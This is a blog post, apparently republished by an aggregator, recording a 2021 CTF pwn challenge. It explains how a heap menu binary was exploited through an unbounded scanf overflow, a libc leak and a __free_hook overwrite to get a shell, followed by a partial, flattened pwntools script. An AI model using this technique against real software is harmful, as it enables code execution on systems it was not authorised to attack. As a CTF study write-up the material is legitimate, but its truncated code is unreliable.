2021年津门杯ctf线上赛记录(WICCTF)

2023-11-22 01:59

本文主要是介绍2021年津门杯ctf线上赛记录(WICCTF),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

津门杯ctf线上赛

  • 概述
  • pwn题
    • easypwn
    • pwnCTFM
  • 总结

概述

  本篇博客记录下自己的第一次ctf比赛经历,其实不完全是第一次,之前也参加过其他比赛,但只能做个签到就走了,这次不一样了,好歹做出了一道pwn题,有一道本来是有机会的,搞错libc了,线上没拿到flag,不过线上复现了下,感觉还行。因此特写下此篇博文,记录自己的一血。😏

pwn题

  我个人现在只会做做pwn题,后面打算也看看web,提升一下综合实力,这里介绍下比赛中的两道pwn题,和官方wp不一样,这里是我自己的思路。

easypwn

  easypwn
  这道题目是最开始放出来的,确实是最简单的一道pwn题。该题目是典型的堆题,有增删查改四个功能,主要存在两个典型的漏洞。第一个是off by one,如下面第一张图所示,在add功能函数中,可读取的字节数比申请的size大一个字节;然后是show功能函数中,存在典型的格式化字符串漏洞。该题目got表可写,其余保护全开,因此官方的wp是利用格式化字符串泄露出code基地址,然后利用off by one实现unlink, 最后控制bss上的堆指针,从而可以泄露libc以及进一步修改got表获取shell。
add
show
  值得一提的是,当时我在做题时,并没有发现上面两个漏洞,之所以犯了这样的错误,是因为有一个更大更明显的漏洞吸引了我,如下图所示,在add功能和edit功能中都有下面两个scanf函数,这里使用%s读取,没有限制长度,且存储的位置刚好在bss段堆指针的上面,所以这里就有天然控制堆指针的方法。
scanf
  因此我的思路是直接构造unsorted bin,利用scanf函数的漏洞可以覆盖标记位使得show函数正常工作从而泄露出libc地址。当时比赛时,没有给libc,因此也就不知道是否存在tcache,这里可以直接先假设其没有,然后在比赛时经过验证确实是不存在tcache机制。通过泄露出的libc,我在网上查到其是libc-2.23.so版本的,然后用同样的方法利用scanf漏洞去控制堆指针,直接改堆指针为free_hook,进一步修改为system,然后free即可拿到shell。下面是完整的exp,用我的这种方法感觉会快很多。

from pwn import *p = remote("119.3.81.43", 49153)def new(number, name, size, con):p.recvuntil("your choice>>")p.send("1")p.recvuntil("phone number:")p.sendline(number)p.recvuntil("name:")p.sendline(name)p.recvuntil("input des size:")p.sendline(str(size))p.recvuntil("des info:")p.sendline(con)def free(idx):p.recvuntil("your choice>>")p.send("2")p.recvuntil("input index:")p.sendline(str(idx))def show(idx):p.recvuntil("your choice>>")p.send("3")p.recvuntil("input index:")p.sendline(str(idx))def edit(idx, number, name

这篇关于2021年津门杯ctf线上赛记录(WICCTF)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/406678

相关文章

Node.js学习记录(二)

目录 一、express 1、初识express 2、安装express 3、创建并启动web服务器 4、监听 GET&POST 请求、响应内容给客户端 5、获取URL中携带的查询参数 6、获取URL中动态参数 7、静态资源托管 二、工具nodemon 三、express路由 1、express中路由 2、路由的匹配 3、路由模块化 4、路由模块添加前缀 四、中间件

记录每次更新到仓库 —— Git 学习笔记 10

记录每次更新到仓库 文章目录 文件的状态三个区域检查当前文件状态跟踪新文件取消跟踪(un-tracking)文件重新跟踪(re-tracking)文件暂存已修改文件忽略某些文件查看已暂存和未暂存的修改提交更新跳过暂存区删除文件移动文件参考资料 咱们接着很多天以前的 取得Git仓库 这篇文章继续说。 文件的状态 不管是通过哪种方法,现在我们已经有了一个仓库,并从这个仓

学习记录:js算法(二十八):删除排序链表中的重复元素、删除排序链表中的重复元素II

文章目录 删除排序链表中的重复元素我的思路解法一:循环解法二:递归 网上思路 删除排序链表中的重复元素 II我的思路网上思路 总结 删除排序链表中的重复元素 给定一个已排序的链表的头 head , 删除所有重复的元素,使每个元素只出现一次 。返回 已排序的链表 。 图一 图二 示例 1:(图一)输入:head = [1,1,2]输出:[1,2]示例 2:(图

perl的学习记录——仿真regression

1 记录的背景 之前只知道有这个强大语言的存在,但一直侥幸自己应该不会用到它,所以一直没有开始学习。然而人生这么长,怎就确定自己不会用到呢? 这次要搭建一个可以自动跑完所有case并且打印每个case的pass信息到指定的文件中。从而减轻手动跑仿真,手动查看log信息的重复无效低质量的操作。下面简单记录下自己的思路并贴出自己的代码,方便自己以后使用和修正。 2 思路整理 作为一个IC d

GPU 计算 CMPS224 2021 学习笔记 02

并行类型 (1)任务并行 (2)数据并行 CPU & GPU CPU和GPU拥有相互独立的内存空间,需要在两者之间相互传输数据。 (1)分配GPU内存 (2)将CPU上的数据复制到GPU上 (3)在GPU上对数据进行计算操作 (4)将计算结果从GPU复制到CPU上 (5)释放GPU内存 CUDA内存管理API (1)分配内存 cudaErro

SSM项目使用AOP技术进行日志记录

本步骤只记录完成切面所需的必要代码 本人开发中遇到的问题: 切面一直切不进去,最后发现需要在springMVC的核心配置文件中中开启注解驱动才可以,只在spring的核心配置文件中开启是不会在web项目中生效的。 之后按照下面的代码进行配置,然后前端在访问controller层中的路径时即可观察到日志已经被正常记录到数据库,代码中有部分注释,看不懂的可以参照注释。接下来进入正题 1、导入m

flume系列之:记录一次flume agent进程被异常oom kill -9的原因定位

flume系列之:记录一次flume agent进程被异常oom kill -9的原因定位 一、背景二、定位问题三、解决方法 一、背景 flume系列之:定位flume没有关闭某个时间点生成的tmp文件的原因,并制定解决方案在博主上面这篇文章的基础上,在机器内存、cpu资源、flume agent资源都足够的情况下,flume agent又出现了tmp文件无法关闭的情况 二、

2021-8-14 react笔记-2 创建组件 基本用法

1、目录解析 public中的index.html为入口文件 src目录中文件很乱,先整理文件夹。 新建components 放组件 新建assets放资源   ->/images      ->/css 把乱的文件放进去  修改App.js 根组件和index.js入口文件中的引入路径 2、新建组件 在components文件夹中新建[Name].js文件 //组件名首字母大写

2021-08-14 react笔记-1 安装、环境搭建、创建项目

1、环境 1、安装nodejs 2.安装react脚手架工具 //  cnpm install -g create-react-app 全局安装 2、创建项目 create-react-app [项目名称] 3、运行项目 npm strat  //cd到项目文件夹    进入这个页面  代表运行成功  4、打包 npm run build

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路